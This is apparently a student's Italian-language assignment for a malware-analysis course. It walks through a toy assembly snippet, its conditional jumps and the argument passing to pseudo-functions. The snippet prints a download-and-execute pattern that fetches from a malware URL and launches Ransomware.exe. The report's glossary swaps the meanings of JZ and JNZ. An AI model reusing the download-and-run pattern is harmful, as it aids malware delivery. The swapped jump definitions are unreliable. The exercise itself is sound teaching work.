



PROGETTO S11,

L11

MATTIA PASTORELLI

# TRACCIA

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

- Spiegate, motivando, quale salto condizionale effettua il Malware.
- Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.
- Quali sono le diverse funzionalità implementate all'interno del Malware?
- Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

# QUESITO 1

All'interno del malware vengono effettuati due tipologie di salti condizionali:

- JZ (Jump if Zero)
- JNZ (Jump if not Zero)

Solamente uno di questi salti si verifica, analiziamoli attentamente

(Jz) in questo caso fa riferimento al valore di 11 messo a paragone con il valore di EBX, quindi se il valore di quest'ultimo è uguale a 11, l'istruzione sarà vera

(JNZ) in questo caso fa riferimento al valore di 5 messo a paragone con il valore del registro EAX. Se il valore di quest'ultimo è diverso da 5 allora la condizione sarà veritiera.

Nel caso del malware datoci in consegna, l'unica soluzione che si presenta è il Jump if Zero di JZ verso l'indirizzo di memoria 0040FFAO.

Ciò avviene perchè viene dato un valore di 10 ad EBX, dopodichè attraverso la funzione INC (incrementa) EBX il valore dello stesso aumenterà di 1, portandosi a 11.

CMP metterà a confronto il valore di 11 con EBX (Quindi 11 anche lui), rendendo veritiera la funzione.

# QUESITO 2

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

0040105F	inc	EBX
00401064	cmp	EBX, 11
00401068	jz	loc 0040FFA0 ; tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

# QUESITO 3

## Le funzionalità implementate

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

- Mov = Spostare un valore all'interno del registro
- Cmp = comparazione tra un valore standard e il valore del registro
- Jnz = salta all'indirizzo dato la condizione è Jump If Zero
- Inc = Incrementa di uno il valore del registro
- Jz = salta all'indirizzo dato ( Jump if not zero) se la condizione è diversa da 0
- Push = spinge il registro all'interno dello stack
- Call = Chiama la funzione indicata e la esegue

# QUESITO 4

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

1. mov EAX, EDI = Copia il valore del registro di EDI nel registro EAX, in questo caso l'indirizzo del sito.
2. push EAX = Spinge il valore di EAX nello stack di memoria, in questo caso prepara l'URL da essere passato alla funzione DownloadToFile()
3. call DownloadToFile() = Chiama la funzione stessa, ovvero, prende l'URL precedentemente messo nello stack e lo passa alla funzione DownloadToFile() come URL da scaricare

# QUESITO 4

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

1. mov EAX, EDI = Copia il valore del registro di EDI nel registro EDX, in questo caso potrebbe essere un puntatore ad una directory specifica, contenente il Ransomware.exe
2. push EDX = Spinge il valore di EDX nello stack di memoria, in questo caso prepara il .exe per essere utilizzato come argomento nella funzione WinExec()
3. call WinExec() = Chiama la funzione WinExec() che viene utilizzata per eseguire un programma specifico , in questo caso il ransomware.exe

# CONCLUSIONE:

Il codice posto in esame oggi si presume essere un ransomware, ovvero un malware che porta alla criptazione di tutti i file, programmi sulla macchina vittima.

Una volta avvenuta la criptazione, l'attaccante chiederà un riscatto alla vittima per decodificare il contenuto attraverso l'utilizzo della chiave privata in possesso del black hat.

Il codice ci suggerisce che questo attacco avviene attraverso la comparazione di due valori che restituiranno un valore vero o falso.

In base al risultato il codice salterà all'indirizzo di codice assegnato a quella fase, in caso contrario continuerà in ordine di istruzioni.